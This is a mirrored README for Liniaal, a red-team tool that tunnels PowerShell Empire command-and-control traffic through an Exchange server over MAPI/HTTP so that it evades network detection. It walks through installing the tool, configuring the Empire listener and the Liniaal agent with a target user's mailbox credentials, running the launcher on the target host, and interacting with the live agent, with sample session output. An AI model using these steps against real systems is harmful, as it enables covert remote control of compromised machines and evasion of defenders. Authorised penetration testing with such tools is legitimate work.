Giter VIP home page Giter VIP logo

liniaal's Introduction

Introduction

Liniaal allows for the creation of a C2 channel for Empire agents, through an Exchange server. All communication is done through MAPI/HTTP or RPC/HTTP and directly between the Liniaal agent and the Exchange server. No traffic traverses the traditional network boundary as plain HTTP, bypassing most network based detection and blocking.

Liniaal allows Empire to be used as usual, through a high latency, stealthy channel.

A full-end-to-end example is available on YouTube and an outline can be found in the SensePost blog.

Getting the Code

Liniaal depends heavily on the libraries created by Ruler. To interface with Powershell Empire you will require version 2.0.

Dependencies:

The simpliest way to get Liniaal is to use go get:

go get github.com/sensepost/liniaal

Alternatively you can git clone the relevant components into your GOPATH:

git clone github.com/sensepost/ruler
git clone github.com/sensepost/liniaal

Building

You can build your own binaries using Go:

cd liniaal
go build

Pre-built Binaries

Compiled binaries for Linux, OSX and Windows are available. Find these in Releases

Usage

Note: Outlook will need to be open on your target's host! The Empire agent uses the MAPI end-points exposed by Outlook and these are only available while Outlook is running

Firstly copy the stager and listener to the relevant directories within Empire.

cp empire/agent/data/stagers/http_mapi.ps1 /opt/empire/data/agent/stagers/
cp empire/lib/listeners/http_mapi.py /opt/empire/lib/listeners/

Setting up Empire listener

To setup the listener within Empire:

(Empire) > listeners
(Empire: listeners) > uselistener http_mapi

There are two new options Folder and EmailAddress, of which only Folder is mandatory. Folder allows you to specify a name for the hidden folder used for communication. The default folder name is Liniaal. The EmailAddress is used to provide an email address for Liniaal to use on the client-side. This may be required in instances where users have multiple mailboxes. If this is set, the agent will locate the correct mailbox and use that for communication. If EmailAddress is left blank, the agent will use the primary mailbox. This should be sufficient in most cases and provides you with a generic listener, which can be used with multiple targets.

Change these to a custom values if you wish and then execute the listener.

(Empire: listeners/http_mapi) > set Folder Liniaal
(Empire: listeners/http_mapi) > execute

Now create your launcher: Liniaal only supports powershell agents!

(Empire: listeners/http_mapi) > launcher powershell

Setup Liniaal

Now that Empire is up and running, you need to setup the Liniaal agent to translate/transfer requests between Empire and Exchange.

./liniaal

Liniaal - a communication extension to Ruler
use 'options' to view settings for your agent. 'set key value' to change settings.
For anything else, use 'help'
> options
== Agent options ==
Password                                            The password for the target user
Folder               Liniaal                        The name of the hidden folder
Host                 http://localhost:8080          The address of our Empire listener
URL                                                 A custom autodiscover end-point
EmailAddress         [email protected]               The target mailbox/email address
Username                                            The username of our target user, if required
Domain                                              The domain of our target user, if required
>

The interface is similar to Empire and allows you to set the required fields. These are similar to those used in Ruler. THe important fields are:

  • EmailAddress
  • Username (except for Office365/Outlook domains)
  • Password
  • Folder
  • Host

Ensure that the Folder is the same as set in Empire. Host is our Empire listener address.

> set Folder Liniaal
> set EmailAddress [email protected]
> set Host http://localhost:8080

Once the required values are set, start the Liniaal agent:

> run

[+] Agent Listening  

The agent's status/actions will be shown and dynamically updated.

Get your shell

Now your communication channel is setup, you can execute the powershell launcher (generated through Empire) on your target. How you do this depends fully on you. You could even pop it through Ruler.

The channel is slow, it can take upto two minutes for the Empire agent to be come active and usable through Empire. You should see the following while the agent is communicating through Liniaal:

[+] Sent response to agent at: 14/03/2017 03:56:44 PM

Once the agent is setup you can use the agent through the Empire inteface as you normally would.

(Empire: listeners/http_mapi) > [+] Initial agent XAYZUNLW from 172.17.0.1 now active
(Empire: listeners/http_mapi) > agents
[*] Active agents:                                                                                                             │
                                                                                                                               │
  Name            Lang  Internal IP     Machine Name    Username            Process             Delay    Last Seen             │
  ---------       ----  -----------     ------------    ---------           -------             -----    --------------------  │
  XAYZUNLW        ps    192.168.122.18  DESKTOP-DNST7G1 DESKTOP-DNST7G1\Etiepowershell/2732     20/0.0   2017-03-14 15:59:20   │
                                                                                                                               │
(Empire: agents) > interact XAYZUNLW                                                                                           │
(Empire: XAYZUNLW) > sysinfo
(Empire: XAYZUNLW) > sysinfo: 0|http://172.17.0.2:8080|DESKTOP-DNST7G1|Etienne|DESKTOP-DNST7G1|192.168.122.18|Microsoft Windows│
 10 Home|False|powershell|2732|powershell|5                                                                                    │
                                                                                                                               │
Listener:         http://172.17.0.2:8080                                                                                       │
Internal IP:    192.168.122.18                                                                                                 │
Username:         DESKTOP-DNST7G1\Etienne                                                                                      │
Hostname:       DESKTOP-DNST7G1                                                                                                │
OS:               Microsoft Windows 10 Home                                                                                    │
High Integrity:   0                                                                                                            │
Process Name:     powershell                                                                                                   │
Process ID:       2732                                                                                                         │
Language:         powershell                                                                                                   │
Language Version: 5       

Caveats

As noted before, Liniaal requires Outlook to be running. You will also require valid credentials for the target user. And it is assumed you have a way to run code on the target host.

The Powershell agent does not have any persistence or ability to respawn itself. It is also dumb at the moment; if Outlook stops running, the agent stops running and you will need to get it back manually (PR requests with a fix are welcome!)

liniaal's People

Contributors

staaldraad avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.